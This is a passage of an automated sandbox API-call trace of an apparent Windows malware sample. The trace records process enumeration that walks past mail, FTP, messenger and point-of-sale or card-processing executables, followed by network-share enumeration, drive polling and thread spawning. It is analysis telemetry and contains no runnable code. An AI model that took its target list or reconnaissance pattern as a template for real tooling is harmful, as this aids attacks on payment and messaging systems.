cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0093.902] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0093.902] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0093.903] lstrlenW (lpString="icq.exe") returned 7 [0093.903] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0093.903] lstrlenW (lpString="leechftp.exe") returned 12 [0093.903] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0093.904] lstrlenW (lpString="ncftp.exe") returned 9 [0093.904] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0093.905] lstrlenW (lpString="notepad.exe") returned 11 [0093.905] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0093.906] lstrlenW (lpString="operamail.exe") returned 13 [0093.906] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0093.907] lstrlenW (lpString="pidgin.exe") returned 10 [0093.907] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0093.908] lstrlenW (lpString="scriptftp.exe") returned 13 [0093.908] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0093.909] lstrlenW (lpString="skype.exe") returned 9 [0093.909] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0093.909] lstrlenW (lpString="smartftp.exe") returned 12 [0093.910] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0093.910] lstrlenW (lpString="thunderbird.exe") returned 15 [0093.911] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0093.911] lstrlenW (lpString="totalcmd.exe") returned 12 [0093.911] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0093.912] lstrlenW (lpString="trillian.exe") returned 12 [0093.912] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0093.913] lstrlenW (lpString="webdrive.exe") returned 12 [0093.913] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0093.914] lstrlenW (lpString="whatsapp.exe") returned 12 [0093.914] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0093.915] lstrlenW (lpString="winscp.exe") returned 10 [0093.915] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0093.916] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0093.916] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0093.916] lstrlenW (lpString="active-charge.exe") returned 17 [0093.916] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0093.917] lstrlenW (lpString="accupos.exe") returned 11 [0093.917] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0093.918] lstrlenW (lpString="afr38.exe") returned 9 [0093.918] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0093.919] lstrlenW (lpString="aldelo.exe") returned 10 [0093.919] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0093.919] lstrlenW (lpString="ccv_server.exe") returned 14 [0093.920] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0093.920] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0093.920] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0093.921] lstrlenW (lpString="creditservice.exe") returned 17 [0093.921] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0093.922] lstrlenW (lpString="edcsvr.exe") returned 10 [0093.922] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0093.923] lstrlenW (lpString="fpos.exe") returned 8 [0093.923] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0093.923] lstrlenW (lpString="isspos.exe") returned 10 [0093.923] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0093.924] lstrlenW (lpString="mxslipstream.exe") returned 16 [0093.924] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0093.925] lstrlenW (lpString="omnipos.exe") returned 11 [0093.925] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0093.926] lstrlenW (lpString="spcwin.exe") returned 10 [0093.926] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0093.926] lstrlenW (lpString="spgagentservice.exe") returned 19 [0093.927] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0093.927] lstrlenW (lpString="utg2.exe") returned 8 [0093.927] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0093.928] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0093.928] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0093.929] lstrlenW (lpString="glow be.exe") returned 11 [0093.929] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0093.930] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0093.930] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0093.930] lstrlenW (lpString="contains roles was.exe") returned 22 [0093.930] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.931] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.931] Process32NextW (in: hSnapshot=0x350, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.932] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.932] Process32NextW (hSnapshot=0x350, lppe=0x24dfd2c) Thread: id = 5 os_tid = 0xd50 [0060.063] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0060.063] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d43a0 | out: hHeap=0x490000) returned 1 Thread: id = 6 os_tid = 0xd4c [0060.064] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4f6968 [0060.064] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6968, Size=0x20) returned 0x4cebf8 [0060.064] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cebf8, Size=0x40) returned 0x4aa408 [0060.064] GetLogicalDrives () returned 0x4 [0060.064] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x52eb88 [0060.065] GetComputerNameW (in: lpBuffer=0x52eb8c, nSize=0x271ff64 | out: lpBuffer="NQDPDE", nSize=0x271ff64) returned 1 [0060.065] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x53eb90 [0060.065] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x271ff34 | out: lphEnum=0x271ff34*=0x4a6618) returned 0x0 [0060.066] WNetEnumResourceW (in: hEnum=0x4a6618, lpcCount=0x271ff30, lpBuffer=0x53eb90, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x53eb90, lpBufferSize=0x271ff38) returned 0x103 [0060.068] WNetCloseEnum (hEnum=0x4a6618) returned 0x0 [0060.068] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x271ff34 | out: lphEnum=0x271ff34*=0x583148) returned 0x0 [0060.978] WNetEnumResourceW (in: hEnum=0x583148, lpcCount=0x271ff30, lpBuffer=0x53eb90, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x53eb90, lpBufferSize=0x271ff38) returned 0x0 [0060.978] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x37799d0 [0060.978] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x53eb90, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x4a64f8) returned 0x0 [0060.981] WNetEnumResourceW (in: hEnum=0x4a64f8, lpcCount=0x271ff04, lpBuffer=0x37799d0, lpBufferSize=0x271ff0c | out: lpcCount=0x271ff04, lpBuffer=0x37799d0, lpBufferSize=0x271ff0c) returned 0x103 [0060.981] WNetCloseEnum (hEnum=0x4a64f8) returned 0x0 [0060.981] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x37739a0 [0060.981] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x53ebb0, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x0) returned 0x4b8 [0082.318] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x3e29b08 [0082.318] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x53ebd0, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x0) returned 0x4c6 [0082.321] WNetEnumResourceW (in: hEnum=0x583148, lpcCount=0x271ff30, lpBuffer=0x53eb90, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x53eb90, lpBufferSize=0x271ff38) returned 0x103 [0082.321] WNetCloseEnum (hEnum=0x583148) returned 0x0 [0082.322] GetLogicalDrives () returned 0x4 [0082.322] Sleep (dwMilliseconds=0x64) [0083.104] GetLogicalDrives () returned 0x4 [0083.105] Sleep (dwMilliseconds=0x64) [0083.720] GetLogicalDrives () returned 0x4 [0083.720] Sleep (dwMilliseconds=0x64) [0084.462] GetLogicalDrives () returned 0x4 [0084.462] Sleep (dwMilliseconds=0x64) [0085.062] GetLogicalDrives () returned 0x4 [0085.062] Sleep (dwMilliseconds=0x64) [0085.498] GetLogicalDrives () returned 0x4 [0085.498] Sleep (dwMilliseconds=0x64) [0085.996] GetLogicalDrives () returned 0x4 [0086.001] Sleep (dwMilliseconds=0x64) [0086.401] GetLogicalDrives () returned 0x4 [0086.401] Sleep (dwMilliseconds=0x64) [0086.872] GetLogicalDrives () returned 0x4 [0086.880] Sleep (dwMilliseconds=0x64) [0087.412] GetLogicalDrives () returned 0x4 [0087.412] Sleep (dwMilliseconds=0x64) [0087.739] GetLogicalDrives () returned 0x4 [0087.739] Sleep (dwMilliseconds=0x64) [0088.203] GetLogicalDrives () returned 0x4 [0088.203] Sleep (dwMilliseconds=0x64) [0088.664] GetLogicalDrives () returned 0x4 [0088.664] Sleep (dwMilliseconds=0x64) [0089.030] GetLogicalDrives () returned 0x4 [0089.030] Sleep (dwMilliseconds=0x64) [0089.679] GetLogicalDrives () returned 0x4 [0089.679] Sleep (dwMilliseconds=0x64) [0090.383] GetLogicalDrives () returned 0x4 [0090.383] Sleep (dwMilliseconds=0x64) [0090.729] GetLogicalDrives () returned 0x4 [0090.729] Sleep (dwMilliseconds=0x64) [0090.948] GetLogicalDrives () returned 0x4 [0090.948] Sleep (dwMilliseconds=0x64) [0091.394] GetLogicalDrives () returned 0x4 [0091.404] Sleep (dwMilliseconds=0x64) [0091.653] GetLogicalDrives () returned 0x4 [0091.653] Sleep (dwMilliseconds=0x64) [0092.076] GetLogicalDrives () returned 0x4 [0092.076] Sleep (dwMilliseconds=0x64) [0092.258] GetLogicalDrives () returned 0x4 [0092.258] Sleep (dwMilliseconds=0x64) [0092.739] GetLogicalDrives () returned 0x4 [0092.739] Sleep (dwMilliseconds=0x64) [0093.293] GetLogicalDrives () returned 0x4 [0093.293] Sleep (dwMilliseconds=0x64) [0093.626] GetLogicalDrives () returned 0x4 [0093.626] Sleep (dwMilliseconds=0x64) [0093.972] GetLogicalDrives () returned 0x4 [0093.973] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xd88 [0060.659] GetTickCount () returned 0x115024e [0060.659] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a5740 [0060.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a5740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0060.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a5740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0060.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a5740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0060.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a5740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0060.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e88a8 [0060.662] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e88a8, Size=0x20) returned 0x4ceb58 [0060.662] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e88d8 [0060.662] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e88d8, Size=0x20) returned 0x4ced38 [0060.662] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.662] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.662] Wow64DisableWow64FsRedirection (in: OldValue=0x285ff7c | out: OldValue=0x285ff7c*=0x0) returned 1 [0060.663] lstrlenW (lpString="kernel32.dll") returned 12 [0060.663] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceb58 | out: hHeap=0x490000) returned 1 [0060.663] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.663] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4d66f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0060.663] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0060.773] GetTickCount () returned 0x11502bb [0060.773] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0061.093] GetTickCount () returned 0x1150404 [0061.094] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0061.561] GetTickCount () returned 0x11505d8 [0061.561] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0061.761] GetTickCount () returned 0x11506a3 [0061.761] GetTickCount () returned 0x11506a3 [0061.761] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0063.337] GetTickCount () returned 0x1150cce [0063.337] GetTickCount () returned 0x1150cce [0063.337] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0063.777] GetTickCount () returned 0x1150e83 [0063.777] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0064.356] GetTickCount () returned 0x11510c5 [0064.356] GetTickCount () returned 0x11510c5 [0064.356] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0064.879] GetTickCount () returned 0x11512c9 [0064.879] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0065.473] GetTickCount () returned 0x115151b [0065.473] GetTickCount () returned 0x115151b [0065.473] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0067.017] GetTickCount () returned 0x1151b25 [0067.017] GetTickCount () returned 0x1151b25 [0067.017] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0067.840] GetTickCount () returned 0x1151e62 [0067.840] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0068.476] GetTickCount () returned 0x11520d3 [0068.476] GetTickCount () returned 0x11520d3 [0068.476] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0069.100] GetTickCount () returned 0x1152344 [0069.137] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0071.007] GetTickCount () returned 0x1152ac5 [0071.007] GetTickCount () returned 0x1152ac5 [0071.007] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0071.695] GetTickCount () returned 0x1152d75 [0071.695] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0072.320] GetTickCount () returned 0x1152fe6 [0072.320] GetTickCount () returned 0x1152fe6 [0072.320] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0072.883] GetTickCount () returned 0x1153218 [0072.883] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0073.718] GetTickCount () returned 0x1153555 [0073.718] GetTickCount () returned 0x1153555 [0073.718] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0074.249] GetTickCount () returned 0x1153768 [0074.249] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0074.825] GetTickCount () returned 0x11539aa [0074.825] GetTickCount () returned 0x11539aa [0074.825] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0075.247] GetTickCount () returned 0x1153b50 [0075.247] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0075.509] GetTickCount () returned 0x1153c59 [0075.509] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0075.791] GetTickCount () returned 0x1153d73 [0075.791] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0076.084] GetTickCount () returned 0x1153e8c [0076.084] GetTickCount () returned 0x1153e8c [0076.084] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0076.468] GetTickCount () returned 0x1154003 [0076.468] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0077.020] GetTickCount () returned 0x1154245 [0077.021] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0077.549] GetTickCount () returned 0x1154449 [0077.549] GetTickCount () returned 0x1154449 [0077.549] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0078.169] GetTickCount () returned 0x11546ba [0078.169] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0078.663] GetTickCount () returned 0x115489e [0078.663] GetTickCount () returned 0x115489e [0078.663] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0079.084] GetTickCount () returned 0x1154a44 [0079.084] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0079.480] GetTickCount () returned 0x1154bcb [0079.480] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0079.677] GetTickCount () returned 0x1154c96 [0079.677] GetTickCount () returned 0x1154c96 [0079.677] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0080.032] GetTickCount () returned 0x1154ded [0080.032] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) 